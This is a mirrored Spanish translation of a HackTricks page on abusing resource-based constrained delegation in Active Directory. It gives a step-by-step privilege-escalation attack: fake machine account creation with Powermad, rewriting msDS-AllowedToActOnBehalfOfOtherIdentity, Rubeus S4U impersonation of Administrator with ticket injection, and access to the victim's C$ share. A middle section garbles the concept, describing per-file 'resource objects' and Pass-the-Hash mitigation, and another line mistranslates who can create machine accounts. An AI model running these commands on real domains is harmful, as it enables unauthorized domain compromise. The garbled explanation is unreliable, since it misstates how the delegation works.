Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 21:24:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

15 KiB
Raw Blame History

Delegación restringida basada en recursos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Conceptos básicos de la delegación restringida basada en recursos

Esto es similar a la delegación restringida básica, pero en lugar de otorgar permisos a un objeto para que se haga pasar por cualquier usuario frente a un servicio, la delegación restringida basada en recursos establece en el objeto quién puede hacerse pasar por cualquier usuario frente a él.

En este caso, el objeto restringido tendrá un atributo llamado msDS-AllowedToActOnBehalfOfOtherIdentity con el nombre del usuario que puede hacerse pasar por cualquier otro usuario frente a él.

Otra diferencia importante de esta delegación restringida con respecto a las otras delegaciones es que cualquier usuario con permisos de escritura sobre una cuenta de máquina (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) puede establecer el msDS-AllowedToActOnBehalfOfOtherIdentity (en las otras formas de delegación se necesitaban privilegios de administrador de dominio).

Nuevos conceptos

En la delegación restringida se dijo que se necesitaba la marca TrustedToAuthForDelegation dentro del valor userAccountControl del usuario para realizar un S4U2Self. Pero eso no es completamente cierto.
La realidad es que incluso sin ese valor, se puede realizar un S4U2Self contra cualquier usuario si se es un servicio (tiene un SPN), pero si se tiene TrustedToAuthForDelegation, el TGS devuelto será Forwardable y si no se tiene esa marca, el TGS devuelto no será Forwardable.

Sin embargo, si el TGS utilizado en S4U2Proxy NO es Forwardable, intentar abusar de una delegación restringida básica no funcionará. Pero si se intenta explotar una delegación restringida basada en recursos, funcionará (esto no es una vulnerabilidad, es una característica, aparentemente).

Estructura del ataque

Si tienes privilegios equivalentes a escritura sobre una cuenta de computadora, puedes obtener acceso privilegiado en esa máquina.

Supongamos que el atacante ya tiene privilegios equivalentes a escritura sobre la computadora víctima.

  1. El atacante compromete una cuenta que tiene un SPN o crea uno ("Servicio A"). Tenga en cuenta que cualquier Usuario administrador sin ningún otro privilegio especial puede crear hasta 10 objetos de computadora (MachineAccountQuota) y establecerles un SPN. Por lo tanto, el atacante puede simplemente crear un objeto de computadora y establecer un SPN.
  2. El atacante abusa de su privilegio de ESCRITURA sobre la computadora víctima (ServicioB) para configurar la delegación restringida basada en recursos para permitir que ServiceA se haga pasar por cualquier usuario frente a esa computadora víctima (ServicioB).
  3. El atacante usa Rubeus para realizar un ataque S4U completo (S4U2Self y S4U2Proxy) desde Service A a Service B para un usuario con acceso privilegiado a Service B.
    1. S4U2Self (desde la cuenta comprometida/creada con SPN): Solicita un TGS de Administrador para mí (no Forwardable).
    2. S4U2Proxy: Usa el TGS no Forwardable del paso anterior para solicitar un TGS de Administrador a la máquina víctima.
    3. Incluso si se está utilizando un TGS no Forwardable, como se está explotando la delegación restringida basada en recursos, funcionará.
  4. El atacante puede pasar el ticket e hacerse pasar por el usuario para obtener acceso al ServicioB víctima.

Para verificar la MachineAccountQuota del dominio, se puede usar:

Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota

Ataque

Creando un objeto de computadora

Puedes crear un objeto de computadora dentro del dominio usando powermad:

import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Delegación restringida basada en recursos

La delegación restringida basada en recursos es una técnica que permite a un usuario delegar sus permisos a otro usuario o servicio para que pueda acceder a un recurso específico en su nombre. Esto se logra mediante la creación de un objeto de recurso en Active Directory y la asignación de permisos específicos a ese objeto. Luego, se configura la delegación restringida para permitir que un usuario o servicio acceda a ese objeto de recurso en particular.

La delegación restringida basada en recursos es útil en situaciones en las que se necesita permitir que un usuario o servicio acceda a un recurso específico sin otorgar permisos excesivos. Por ejemplo, si un usuario necesita acceder a un archivo en particular en un servidor de archivos, se puede crear un objeto de recurso para ese archivo y asignar permisos específicos a ese objeto. Luego, se puede configurar la delegación restringida para permitir que el usuario acceda a ese objeto de recurso en particular sin otorgarle permisos adicionales en el servidor de archivos.

La delegación restringida basada en recursos también puede ayudar a mitigar el riesgo de ataques de Pass-the-Hash. Al limitar los permisos de delegación a un recurso específico, se reduce la superficie de ataque y se hace más difícil para un atacante utilizar credenciales robadas para moverse lateralmente en la red.

Pasos para configurar la delegación restringida basada en recursos

  1. Crear un objeto de recurso en Active Directory para el recurso al que se va a delegar el acceso.
  2. Asignar permisos específicos al objeto de recurso para permitir el acceso al recurso.
  3. Configurar la delegación restringida para permitir que el usuario o servicio acceda al objeto de recurso en particular.

Ejemplo de configuración de la delegación restringida basada en recursos

Supongamos que tenemos un servidor de archivos que contiene un archivo confidencial que solo debe ser accesible por un usuario llamado "user1". Para configurar la delegación restringida basada en recursos para permitir que "user2" acceda a ese archivo en nombre de "user1", seguiríamos estos pasos:

  1. Crear un objeto de recurso en Active Directory para el archivo confidencial.
  2. Asignar permisos específicos al objeto de recurso para permitir que "user1" acceda al archivo.
  3. Configurar la delegación restringida para permitir que "user2" acceda al objeto de recurso del archivo confidencial en particular.

Una vez que se ha configurado la delegación restringida basada en recursos, "user2" podrá acceder al archivo confidencial en nombre de "user1" sin necesidad de otorgar permisos adicionales en el servidor de archivos.

Get-DomainComputer SERVICEA #Check if created if you have powerview

Configurando la Delegación Restringida Basada en Recursos

Usando el módulo PowerShell de Active Directory

Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked

Usando Powerview

$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Realizando un ataque S4U completo

En primer lugar, creamos el nuevo objeto de equipo con la contraseña 123456, por lo que necesitamos el hash de esa contraseña:

.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local

Esto imprimirá los hashes RC4 y AES para esa cuenta.
Ahora, el ataque puede ser realizado:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt

Puedes generar más tickets simplemente preguntando una vez usando el parámetro /altservice de Rubeus:

rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt

{% hint style="danger" %} Tenga en cuenta que los usuarios tienen un atributo llamado "No se puede delegar". Si un usuario tiene este atributo en Verdadero, no podrá suplantarlo. Esta propiedad se puede ver dentro de Bloodhound. {% endhint %}

Accediendo

La última línea de comando realizará el ataque completo S4U e inyectará el TGS de Administrator al host víctima en memoria.
En este ejemplo se solicitó un TGS para el servicio CIFS de Administrator, por lo que podrá acceder a C$:

ls \\victim.domain.local\C$

Abuso de diferentes tickets de servicio

Aprende sobre los tickets de servicio disponibles aquí.

Errores de Kerberos

  • KDC_ERR_ETYPE_NOTSUPP: Esto significa que Kerberos está configurado para no usar DES o RC4 y estás suministrando solo el hash RC4. Suministra a Rubeus al menos el hash AES256 (o simplemente suministra los hashes rc4, aes128 y aes256). Ejemplo: [Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
  • KRB_AP_ERR_SKEW: Esto significa que la hora del equipo actual es diferente a la del DC y Kerberos no está funcionando correctamente.
  • preauth_failed: Esto significa que el nombre de usuario + hashes dados no funcionan para iniciar sesión. Es posible que hayas olvidado poner el "" dentro del nombre de usuario al generar los hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER /domain:domain.local`)
  • KDC_ERR_BADOPTION: Esto puede significar:
    • El usuario que estás intentando suplantar no puede acceder al servicio deseado (porque no puedes suplantarlo o porque no tiene suficientes privilegios)
    • El servicio solicitado no existe (si solicitas un ticket para winrm pero winrm no se está ejecutando)
    • El equipo falso creado ha perdido sus privilegios sobre el servidor vulnerable y necesitas devolverlos.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥